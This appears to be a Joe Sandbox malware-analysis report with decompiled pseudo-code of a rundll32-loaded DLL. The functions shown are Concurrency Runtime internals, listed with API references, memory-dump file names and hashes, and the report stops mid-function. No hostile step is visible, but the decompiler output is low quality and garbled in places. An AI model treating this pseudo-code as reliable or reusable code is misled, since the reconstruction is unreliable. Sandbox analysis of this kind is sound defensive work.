GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000000C,?,1002D4A8,00000000,?), ref: 10016A16
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0000000C,?,1002D4A8,00000000,?), ref: 10016A21
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000000C,?,1002D4A8,00000000,?), ref: 10016A68
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT(00000000,?,?,?,?,?,?,?,?,?,0000000C,?,1002D4A8,00000000,?), ref: 10016A7E

Strings

kernel32.dll, xrefs: 100169EB
GetLogicalProcessorInformationEx, xrefs: 100169E6

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast$AddressConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModuleProc
String ID: GetLogicalProcessorInformationEx$kernel32.dll
API String ID: 1450934715-4102870150
Opcode ID: 2d48663a49c46d042715a75966b34ec94351dfbf8b76dac1dce591831e9feb6d
Instruction ID: 89c7d70cc034b6dc322b7d95920c177176a5d70865cbd6746a6500902d01706f
Opcode Fuzzy Hash: 2d48663a49c46d042715a75966b34ec94351dfbf8b76dac1dce591831e9feb6d
Instruction Fuzzy Hash: 6E11C435500125AFE716EB61DC99A5F3BB8EF48691B50C414FA01EA161DF31DD408B61

Uniqueness

Uniqueness Score: -1.00%

Function 10020E20 Relevance: 13.7, APIs: 9, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E10020E20(void* __ebx, intOrPtr* __ecx, void* __edi, intOrPtr __esi, signed int _a4) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				void* _v16;
				char _v20;
				char _v28;
				signed int _v56;
				intOrPtr _v68;
				intOrPtr _v92;
				void* _t25;
				void* _t29;
				intOrPtr _t36;
				void* _t38;
				void* _t41;
				void* _t45;
				intOrPtr* _t53;
				intOrPtr _t54;
				intOrPtr* _t59;
				char* _t63;
				signed int _t78;
				intOrPtr _t80;
				signed int _t81;
				intOrPtr _t84;
				void* _t90;
				void* _t91;
				void* _t93;
				void* _t94;
				void* _t95;

				_t84 = __esi;
				_t78 = _a4;
				_t94 = _t93 - 0xc;
				if(_t78 > 9) {
					_t25 = E100210CA(_t78);
					_t59 =  &_v16;
					E10013510(_t59, _t25);
					_push(0x1002d470);
					_push( &_v16);
					L10029E92();
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t90 = _t94;
					_t95 = _t94 - 0xc;
					_push(__ebx);
					_push(__esi);
					_push(__edi);
					_t80 = _v16;
					_t53 = _t59;
					if(E100210E1(1, _t80) == 0) {
						_push(1);
						goto L10;
					} else {
						_t84 = _v0;
						_t45 = E100210E1(2, _t84);
						if(_t45 != 0) {
							_push(_t80);
							_push(_t84);
							L20();
							if(_t45 != 0) {
								 *((intOrPtr*)( *_t53 + 4)) = _t80;
								 *((intOrPtr*)( *_t53 + 8)) = _t84;
								return E10021081(_t53);
							} else {
								_t63 =  &_v20;
								E10013570(_t63);
								_push(0x1002d4e0);
								goto L11;
							}
						} else {
							_push(2);
							L10:
							_t29 = E100210CA();
							_t63 =  &_v20;
							E10013590(_t63, _t29);
							_push(0x1002d4a8);
							L11:
							_push( &_v20);
							L10029E92();
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t90);
							_t91 = _t95;
							_push(_t53);
							_push(_t84);
							_push(_t80);
							_t81 = _v56;
							_t85 = _t63;
							_v68 = _t63;
							if(_t81 > 9 || _t81 == 2 || _t81 == 1) {
								E10013510( &_v28, E100210CA(_t81));
								_push(0x1002d470);
								goto L19;
							} else {
								_t54 = _v0;
								_t38 = E100210E1(_t81, _t54);
								_push(_t81);
								if(_t38 == 0) {
									E10013590( &_v28, E100210CA());
									_push(0x1002d4a8);
									L19:
									_push( &_v28);
									L10029E92();
									asm("int3");
									_push(_t91);
									if(_v92 == 0xffffffff) {
										L24:
										return 1;
									} else {
										_t36 = _v8;
										if(_t36 == 0xffffffff || _v4 >= _t36) {
											goto L24;
										} else {
											return 0;
										}
									}
								} else {
									_t41 = E10020E20(_t54, _t85, _t81, _t85);
									 *((intOrPtr*)( *_v16 + _t81 * 4)) = _t54;
									E10021081(_v16);
									return _t41;
								}
							}
						}
					}
				} else {
					return  *((intOrPtr*)( *__ecx + _t78 * 4));
				}
			}

0x10020e20
0x10020e23
0x10020e26
0x10020e2c
0x10020e38
0x10020e3f
0x10020e42
0x10020e47
0x10020e4f
0x10020e50
0x10020e55
0x10020e56
0x10020e57
0x10020e58
0x10020e59
0x10020e5a
0x10020e5b
0x10020e5c
0x10020e5d
0x10020e5e
0x10020e5f
0x10020e61
0x10020e63
0x10020e66
0x10020e67
0x10020e68
0x10020e69
0x10020e6c
0x10020e7a
0x10020ec5
0x00000000
0x10020e7c
0x10020e7c
0x10020e82
0x10020e8b
0x10020e91
0x10020e92
0x10020e93
0x10020e9c
0x10020eb1
0x10020eb6
0x10020ec2
0x10020e9e
0x10020e9e
0x10020ea1
0x10020ea6
0x00000000
0x10020ea6
0x10020e8d
0x10020e8d
0x10020ec7
0x10020ec7
0x10020ece
0x10020ed1
0x10020ed6
0x10020edb
0x10020ede
0x10020edf
0x10020ee4
0x10020ee5
0x10020ee6
0x10020ee7
0x10020ee8
0x10020ee9
0x10020eea
0x10020eeb
0x10020eec
0x10020eed
0x10020eee
0x10020eef
0x10020ef0
0x10020ef1
0x10020ef6
0x10020ef7
0x10020ef8
0x10020ef9
0x10020efc
0x10020efe
0x10020f04
0x10020f4d
0x10020f52
0x00000000
0x10020f10
0x10020f10
0x10020f15
0x10020f1c
0x10020f1f
0x10020f63
0x10020f68
0x10020f6d
0x10020f70
0x10020f71
0x10020f76
0x10020f77
0x10020f7e
0x10020f91
0x10020f94
0x10020f80
0x10020f80
0x10020f86
0x00000000
0x10020f8d
0x10020f90
0x10020f90
0x10020f86
0x10020f21
0x10020f23
0x10020f2f
0x10020f34
0x10020f3f
0x10020f3f
0x10020f1f
0x10020f04
0x10020e8b
0x10020e2e
0x10020e34
0x10020e34

APIs

std::bad_exception::bad_exception.LIBCMT(00000000,?,1002D4A8,00000000,?), ref: 10020E42
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 10020E71
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 10020E82
std::bad_exception::bad_exception.LIBCMT(00000000,?,00000000,?,?,?,00000000,?,1002D4A8,00000000,?), ref: 10020ED1
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 10020F15
mGetPolicyValue@SchedulerPolicy@Concurrency@@QBEIW4PolicyElementKey@2@@Z.PHOTOGRAPHED.DAT(00000000,?,00000000,?,?,?,00000000,?,?,?,00000000,?,1002D4A8,00000000,?), ref: 10020F23

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Policy$Scheduler$Concurrency::Policy::_ValidValue$std::bad_exception::bad_exception$Concurrency@@ElementKey@2@@Policy@Value@
String ID:
API String ID: 2277920655-0
Opcode ID: 0c88a1ee2c27a75dedbff99f52e2d0dbb8534a94aa6a0df8b09a83c241ad2074
Instruction ID: 82768c330c6a79c89517e73aa868df46c34ae70bbf28ab6e3699886704c71e98
Opcode Fuzzy Hash: 0c88a1ee2c27a75dedbff99f52e2d0dbb8534a94aa6a0df8b09a83c241ad2074
Instruction Fuzzy Hash: 53312E3AA00204AFDB14EB55FCC6DDE73AEEF51550B91445BF5045B183EF70BD8186A1

Uniqueness

Uniqueness Score: -1.00%

Function 100147B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 119
threadCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E100147B0(void* __ecx, intOrPtr _a4) {
				intOrPtr _v4;
				intOrPtr* _v20;
				intOrPtr* _v24;
				char _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v60;
				intOrPtr* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				intOrPtr _t45;
				void* _t54;
				intOrPtr _t56;
				intOrPtr* _t70;
				intOrPtr _t73;
				char* _t76;
				intOrPtr* _t77;
				intOrPtr* _t81;
				intOrPtr* _t84;
				signed int _t89;
				intOrPtr* _t91;
				intOrPtr _t99;
				intOrPtr _t100;
				void* _t105;
				void* _t107;
				void* _t108;

				_t45 = _a4;
				_t108 = _t107 - 0xc;
				if(_t45 != 0) {
					_t88 =  *(__ecx + 0x10);
					if( *(__ecx + 0x10) != 0) {
						if(_t45 == 2) {
							 *(__ecx + 0x10) =  *(__ecx + 0x10) & 0x00000000;
						}
						return E100145E4(_t45, _t88, _t45);
					}
					if(_t45 == 1) {
						return E10026661(__ecx);
					}
				}
				_t76 =  &_v28;
				E10007CBB(_t76, "switchState");
				_push(0x1002c0fc);
				_push( &_v28);
				L10029E92();
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t105 = _t108;
				_t70 = _v24;
				_v36 = _t76;
				if(_t70 == 0) {
					_t77 =  &_v32;
					E10007CBB(_t77, "pContext");
					_push(0x1002c0fc);
					_push( &_v32);
					L10029E92();
					asm("int3");
					_push(_t105);
					_push(_t77);
					_push(_t70);
					_push(_t96);
					_push(_t90);
					_t91 = _t77;
					_push(0);
					_push(_v60);
					_v72 = _t91;
					 *_t91 = 0x10003138;
					E1001002C(0, _t91 + 4, _t88, _t91);
					 *(_t91 + 0xb3) =  *(_t91 + 0xb3) & 0x000000fc;
					 *_t91 = 0x10003150;
					 *((intOrPtr*)(_t91 + 4)) = 0x10003178;
					 *((intOrPtr*)(_t91 + 0x9c)) = 0;
					 *((intOrPtr*)(_t91 + 0xa0)) = 0;
					 *((intOrPtr*)(_t91 + 0xa4)) = 0;
					 *((intOrPtr*)(_t91 + 0xa8)) = 0;
					 *((intOrPtr*)(_t91 + 0xac)) = 0;
					 *((char*)(_t91 + 0xb0)) = 0;
					 *((char*)(_t91 + 0xb2)) = 0;
					 *((intOrPtr*)(_t91 + 0xe4)) = 0;
					 *((intOrPtr*)(_t91 + 0x1c)) = 0;
					 *((char*)(_t91 + 0xec)) = 1;
					return _t91;
				} else {
					 *0x10036224();
					_t54 =  *((intOrPtr*)( *((intOrPtr*)( *_t70 + 8))))();
					_t93 = _t54;
					if(_t54 == 0) {
						 *0x10036224(_t70);
						_t93 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x10)) + 0x1c)))) + 0x1c))))();
					}
					_t73 = _v20;
					_t99 = _v4;
					_t89 =  *(_t73 + 0x10);
					_t81 = _t73 + 0x20;
					 *(_t73 + 0x10) =  *(_t73 + 0x10) & 0x00000000;
					_v20 = _t81;
					if(_t99 != 1) {
						_v20 = _t81;
					} else {
						 *_t81 = 1;
					}
					E100143D2(_t89, _t93);
					_t100 = _t99;
					if(_t100 == 0 || _t100 != 1) {
						_t56 = E10026614(_t93);
					} else {
						E10016C2C( *((intOrPtr*)(_t93 + 0xc)),  *((intOrPtr*)(_t73 + 0xc)), 0xffffffff, 1);
						_t84 = _v20;
						_t56 =  *_t84;
						 *_t84 = 0;
					}
					return _t56;
				}
				goto L21;
			}

0x100147b3
0x100147b6
0x100147bb
0x100147bd
0x100147c2
0x100147d5
0x100147d7
0x100147d7
0x00000000
0x100147de
0x100147c7
0x00000000
0x100147c9
0x100147c7
0x100147ea
0x100147ed
0x100147f2
0x100147fa
0x100147fb
0x10014800
0x10014801
0x10014802
0x10014803
0x10014804
0x10014805
0x10014806
0x10014807
0x10014808
0x10014809
0x1001480a
0x1001480b
0x1001480c
0x1001480d
0x1001480e
0x1001480f
0x10014811
0x10014817
0x1001481a
0x10014821
0x100148bd
0x100148c0
0x100148c5
0x100148cd
0x100148ce
0x100148d3
0x100148d4
0x100148d7
0x100148d8
0x100148d9
0x100148da
0x100148db
0x100148df
0x100148e0
0x100148e3
0x100148e9
0x100148ef
0x100148f4
0x100148fd
0x10014903
0x1001490a
0x10014910
0x10014916
0x1001491c
0x10014922
0x10014928
0x1001492e
0x10014934
0x1001493a
0x1001493d
0x10014948
0x10014827
0x1001482e
0x10014836
0x10014838
0x1001483c
0x1001484f
0x10014859
0x10014859
0x1001485b
0x1001485e
0x10014861
0x10014864
0x10014867
0x1001486b
0x10014871
0x1001487a
0x10014873
0x10014876
0x10014876
0x10014880
0x10014885
0x10014888
0x100148ac
0x1001488f
0x10014899
0x1001489e
0x100148a6
0x100148a6
0x100148a6
0x100148b5
0x100148b5
0x00000000

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 100147C9

Part of subcall function 10026661: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,100144C5), ref: 10026671

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 100147DE
std::invalid_argument::invalid_argument.LIBCONCRT ref: 100147ED
Concurrency::details::FreeVirtualProcessorRoot::Affinitize.LIBCONCRT ref: 10014880
std::invalid_argument::invalid_argument.LIBCONCRT ref: 100148C0

Strings

pContext, xrefs: 100148B8
switchState, xrefs: 100147E5

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::$FreeProcessorRoot::Virtualstd::invalid_argument::invalid_argument$AffinitizeExecutionIdleObjectProxy::ResetSingleSuspendThreadWait
String ID: pContext$switchState
API String ID: 3459720090-2660820399
Opcode ID: 7bba6b22c5cc51b8835f67121ea0689d708a3ab57fabcee493cff5f9f1a8c1e7
Instruction ID: 4f07adcc7c64691a3eb15450ff8a6748cd33a47408a644d0044e3817a467335b
Opcode Fuzzy Hash: 7bba6b22c5cc51b8835f67121ea0689d708a3ab57fabcee493cff5f9f1a8c1e7
Instruction Fuzzy Hash: 0231E339E002159FDB05DFA4C891E9DB3A9EF49250F224469ED11AF361DF70ED42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1000E4BF Relevance: 12.1, APIs: 8, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E1000E4BF(void* __ebx, void* __edx, void* __eflags) {
				intOrPtr _t50;
				void* _t61;
				void* _t64;
				intOrPtr _t77;
				intOrPtr _t78;
				intOrPtr _t79;
				void* _t80;

				_t76 = __edx;
				_t63 = __ebx;
				_t77 =  *((intOrPtr*)(_t80 - 0xac));
				_t79 =  *((intOrPtr*)(_t80 - 0xa8));
				_push(0);
				 *(_t80 - 4) = 1;
				E10025890(__ebx, _t64, __edx, _t77, _t80 - 0xa4);
				E10024840(__ebx, _t80 - 0xa4, _t77, _t79);
				 *(_t80 - 4) =  *(_t80 - 4) | 0xffffffff;
				_t8 = _t77 + 4; // 0x4
				 *((intOrPtr*)(_t80 - 0xac)) = _t8;
				E1001177A(_t8, 0);
				if( *((char*)( *((intOrPtr*)(_t80 - 0xb0)) + 0x11)) != 0) {
					_t24 = _t77 + 0x60; // 0x60
					E1000DCA4(__ebx,  *((intOrPtr*)(_t80 - 0xb8)), __edx, _t77);
					_t78 =  *((intOrPtr*)(_t80 - 0xac));
				} else {
					 *((intOrPtr*)(_t80 - 0xbc)) =  *((intOrPtr*)(_t80 - 0xb8)) + 4;
					E10017400( *((intOrPtr*)(_t80 - 0xb8)) + 4, __edx);
					if( *((char*)(_t77 + 0x51)) == 0) {
						_t18 = _t77 + 0x60; // 0x60
						_t61 = E1000DC76( *((intOrPtr*)(_t80 - 0xb8)), _t18);
						_t78 =  *((intOrPtr*)(_t80 - 0xac));
					} else {
						_t78 =  *((intOrPtr*)(_t80 - 0xac));
						_t61 = E10011740( *((intOrPtr*)(_t80 - 0xc8)), _t78);
					}
					 *((intOrPtr*)(_t79 + 0x30)) =  *((intOrPtr*)(_t79 + 0x30)) - 1;
					E10017640(_t61,  *((intOrPtr*)(_t80 - 0xbc)));
				}
				if( *((intOrPtr*)(_t80 - 0xb4)) != 0) {
					_push( *((intOrPtr*)(_t80 - 0xb4)));
					E1000DE32(_t63,  *((intOrPtr*)(_t80 - 0xc0)), _t78);
					E1000E18D( *((intOrPtr*)(_t80 - 0xb4)));
				}
				_t50 =  *((intOrPtr*)(_t80 - 0xc4));
				 *((intOrPtr*)(_t50 + 0x6c)) = 0xffffffff;
				 *((intOrPtr*)(_t50 + 0x70)) = 0xffffffff;
				 *((intOrPtr*)(_t50 + 0x74)) = 0;
				 *((intOrPtr*)(_t50 + 0x78)) = 0;
				E10010714(_t63, _t78);
				_t52 =  *((intOrPtr*)(_t80 - 0xb0));
				 *(_t78 + 0x30) =  *(_t78 + 0x30) & 0x00000000;
				 *(_t78 + 0x34) =  *(_t78 + 0x34) & 0x00000000;
				 *( *((intOrPtr*)(_t80 - 0xb0)) + 8) =  *( *((intOrPtr*)(_t80 - 0xb0)) + 8) & 0x00000000;
				return E10028D87(E10025403(_t76, _t52), _t63, _t78);
			}

0x1000e4bf
0x1000e4bf
0x1000e4bf
0x1000e4c5
0x1000e4d1
0x1000e4d4
0x1000e4db
0x1000e4e6
0x1000e538
0x1000e53c
0x1000e543
0x1000e549
0x1000e558
0x1000e5d1
0x1000e5d5
0x1000e5da
0x1000e55a
0x1000e565
0x1000e56b
0x1000e574
0x1000e5ac
0x1000e5b0
0x1000e5b5
0x1000e576
0x1000e576
0x1000e583
0x1000e583
0x1000e5c1
0x1000e5c4
0x1000e5c4
0x1000e5e7
0x1000e5e9
0x1000e5f5
0x1000e600
0x1000e600
0x1000e605
0x1000e60d
0x1000e614
0x1000e61b
0x1000e622
0x1000e629
0x1000e62e
0x1000e636
0x1000e63a
0x1000e63f
0x1000e64d

APIs

Concurrency::details::_TaskCollection::_RunAndWait.LIBCONCRT(?,00000000), ref: 1000E4DB

Part of subcall function 10025890: __EH_prolog3_catch.LIBCMT ref: 10025897
Part of subcall function 10025890: Concurrency::details::_TaskCollection::_Alias.LIBCONCRT ref: 100258A1
Part of subcall function 10025890: Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 10025905
Part of subcall function 10025890: Concurrency::details::ContextBase::IsCancellationVisible.LIBCONCRT ref: 10025960
Part of subcall function 10025890: Concurrency::details::_TaskCollection::_NotifyCompletedChoreAndFree.LIBCONCRT ref: 10025A97

Concurrency::details::_TaskCollection::~_TaskCollection.LIBCONCRT(00000000), ref: 1000E4E6

Part of subcall function 10024840: Concurrency::details::_TaskCollection::_TaskCleanup.LIBCONCRT ref: 10024878
Part of subcall function 10024840: Concurrency::details::_TaskCollection::_ReleaseAlias.LIBCONCRT ref: 10024894
Part of subcall function 10024840: Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 100248D7
Part of subcall function 10024840: Concurrency::event::~event.LIBCONCRT(8DD10D40,1000E250,00000000,1000E1D0,?,?,00000000,?,1000DDA6,00000001), ref: 100248E3

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT(00000000), ref: 1000E56B
List.LIBCMT ref: 1000E5B0
m_ReleaseWrite@_ReaderWriterLock@details@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT(00000000), ref: 1000E5C4

Part of subcall function 10011740: SafeRWList.LIBCONCRT ref: 1001174D

SafeRWList.LIBCONCRT ref: 1000E5D5
Concurrency::details::_CancellationTokenState::_DeregisterCallback.LIBCONCRT ref: 1000E5F5
Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 1000E600
Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 1000E629
Concurrency::details::_TaskCollection::_NotifyCompletedChoreAndFree.LIBCONCRT ref: 1000E643

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::_$Task$Collection::_$Release$AliasCancellationList$Base::CallbackChoreCompletedConcurrency::details::ContextCounter::_FreeNotifyReaderSafeState::_TokenWriter$AcquireCleanupClearCollectionCollection::~_Concurrency::event::~eventConcurrency@@DeregisterH_prolog3_catchLock::_Lock@details@RegisterTableVisibleWaitWriteWrite@_
String ID:
API String ID: 219196927-0
Opcode ID: caed5e499fd3e2b9b0adfd2d4ffdf57e6af6ff0a4bf0c6c871cf6d895e586cbc
Instruction ID: b99e94262c19e0dc84d42a5dd21ab1f701834b64ec866cf6a34d879bc66c7a6d
Opcode Fuzzy Hash: caed5e499fd3e2b9b0adfd2d4ffdf57e6af6ff0a4bf0c6c871cf6d895e586cbc
Instruction Fuzzy Hash: F4216438A04658CFEB64DB20CC45B98B7B2FF00359F1102C8E0596B2E2DB70AE85CF12

Uniqueness

Uniqueness Score: -1.00%

Function 100108A0 Relevance: 10.6, APIs: 7, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100108A0(intOrPtr __ecx) {
				char _t40;
				char _t44;
				void* _t50;
				intOrPtr _t56;
				void* _t69;
				intOrPtr _t70;
				intOrPtr _t73;
				char _t74;
				void* _t77;

				_t56 = __ecx;
				E10028EB0(0x1002c938, 0x2c);
				_t70 = _t56;
				 *((intOrPtr*)(_t77 - 0x2c)) = _t70;
				if( *((intOrPtr*)(_t70 + 0x64)) == 0) {
					L3:
					if( *((intOrPtr*)(_t70 + 0x84)) > 0) {
						E10010714(0, _t70);
					}
					if( *((intOrPtr*)(_t70 + 0x50)) != 0) {
						_t40 = 0;
						 *((char*)(_t77 - 0x1a)) = 0;
						while(1) {
							__eflags = _t40;
							if(_t40 != 0) {
								goto L7;
							}
							 *((char*)(_t77 - 0x19)) = 1;
							E10017400(_t70 + 0x54, _t69);
							 *((intOrPtr*)(_t77 - 4)) = 0;
							 *((char*)(_t77 - 0x19)) = 1;
							_t73 =  *((intOrPtr*)(_t70 + 0x50));
							__eflags = _t73;
							if(_t73 == 0) {
								_t74 = 0;
							} else {
								_t74 =  *((intOrPtr*)(_t73 + 4));
							}
							while(1) {
								__eflags = _t74;
								if(__eflags == 0) {
									break;
								}
								__eflags = _t74 -  *((intOrPtr*)(_t70 + 0x50));
								if(_t74 ==  *((intOrPtr*)(_t70 + 0x50))) {
									 *((intOrPtr*)(_t77 - 0x20)) = 0;
								} else {
									 *((intOrPtr*)(_t77 - 0x20)) =  *((intOrPtr*)(_t74 + 4));
								}
								 *((intOrPtr*)(_t77 - 0x24)) = _t74 - 0x5c;
								 *((intOrPtr*)(_t77 - 0x28)) = E100251E8( *((intOrPtr*)(_t74 - 0x5c + 0x30)));
								_t44 = E100177B0(_t69);
								__eflags = _t44;
								if(_t44 != 0) {
									 *((intOrPtr*)(_t77 - 4)) = 1;
									E1000DC76(_t70 + 0x50,  *((intOrPtr*)(_t77 - 0x24)) + 0x5c);
									 *((char*)( *((intOrPtr*)(_t77 - 0x24)) + 0x4d)) = 0;
									E1000DC13( *((intOrPtr*)(_t77 - 0x28)),  *((intOrPtr*)(_t77 - 0x24)) + 0x5c);
									 *((intOrPtr*)(_t77 - 4)) = 0;
									_t74 =  *((intOrPtr*)(_t77 - 0x20));
									E100109BA();
									continue;
								} else {
									_t50 = E10017640(_t44, _t70 + 0x54);
									 *((char*)(_t77 - 0x19)) = 0;
									E10016C43(_t50, 1);
									__eflags = _t74;
									break;
								}
							}
							 *((char*)(_t77 - 0x1a)) = __eflags == 0;
							 *((intOrPtr*)(_t77 - 4)) = 0xfffffffe;
							_t40 = E100109D0(_t70);
						}
						goto L7;
					} else {
						_t40 = E10017559(_t70 + 0x54);
						L7:
						 *[fs:0x0] =  *((intOrPtr*)(_t77 - 0x10));
						return _t40;
					}
				}
				 *((intOrPtr*)(_t77 - 0x34)) = 0;
				 *((intOrPtr*)(_t77 - 0x30)) = E10028AE0;
				do {
					E10011D00(_t77 - 0x3c);
				} while ( *((intOrPtr*)(_t70 + 0x64)) != 0);
				goto L3;
			}

0x100108a0
0x100108a7
0x100108ac
0x100108ae
0x100108b6
0x100108cf
0x100108d5
0x100108d9
0x100108d9
0x100108e1
0x100108fb
0x100108fd
0x10010900
0x10010900
0x10010902
0x00000000
0x00000000
0x10010904
0x1001090b
0x10010910
0x10010913
0x10010917
0x1001091a
0x1001091c
0x10010923
0x1001091e
0x1001091e
0x1001091e
0x10010925
0x10010925
0x10010927
0x00000000
0x00000000
0x10010929
0x1001092c
0x10010936
0x1001092e
0x10010931
0x10010931
0x1001093c
0x10010947
0x1001094d
0x10010952
0x10010954
0x1001097d
0x1001098e
0x10010996
0x1001099d
0x100109a2
0x100109a5
0x100109a8
0x00000000
0x10010956
0x10010959
0x1001095e
0x10010963
0x10010969
0x00000000
0x10010969
0x10010954
0x1001096b
0x1001096f
0x10010976
0x10010976
0x00000000
0x100108e3
0x100108e6
0x100108eb
0x100108ee
0x100108fa
0x100108fa
0x100108e1
0x100108b8
0x100108bb
0x100108c2
0x100108c5
0x100108ca
0x00000000

APIs

_SpinWait.LIBCONCRT(?,?,?,?,?,?,?,?,?,?,?,1002C938,0000002C), ref: 100108C5

Part of subcall function 10011D00: m_Value@_SpinCount@details@Concurrency@@SAIXZ.PHOTOGRAPHED.DAT(00000000,00000000,100170FD,-1003300C,?,00000000,00000000,?), ref: 10011D10
Part of subcall function 10011D00: _SpinWait.LIBCONCRT(00000000,00000000,00000000,100170FD,-1003300C,?,00000000,00000000,?), ref: 10011D18

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 100108D9
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 1001090B
m_TryAcquireWrite@_ReaderWriterLock@details@Concurrency@@QAE_NXZ.PHOTOGRAPHED.DAT(?), ref: 1001094D
m_ReleaseWrite@_ReaderWriterLock@details@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT(?), ref: 10010959
List.LIBCMT ref: 1001098E
List.LIBCMT ref: 1001099D

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency@@ReaderSpinWriter$AcquireListLock@details@WaitWrite@_$AliasBase::ClearConcurrency::details::Concurrency::details::_ContextCount@details@Lock::_ReleaseTableValue@_Write
String ID:
API String ID: 3774046051-0
Opcode ID: 0840a9a5f39c1fc62827c0c3b39d2aba7bad56841aa22b7e1c551d12c251b0a1
Instruction ID: b210a14481ae3d0108019f1a86a76af1f96f65dd67355e9d0d42fff0cf2be6b9
Opcode Fuzzy Hash: 0840a9a5f39c1fc62827c0c3b39d2aba7bad56841aa22b7e1c551d12c251b0a1
Instruction Fuzzy Hash: A8314636E05656DBDB14DFA4D5516DDB7B0FF04244F05406AE8853B282DBB1BE84CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10016A92 Relevance: 9.1, APIs: 6, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E10016A92(void* __esi) {
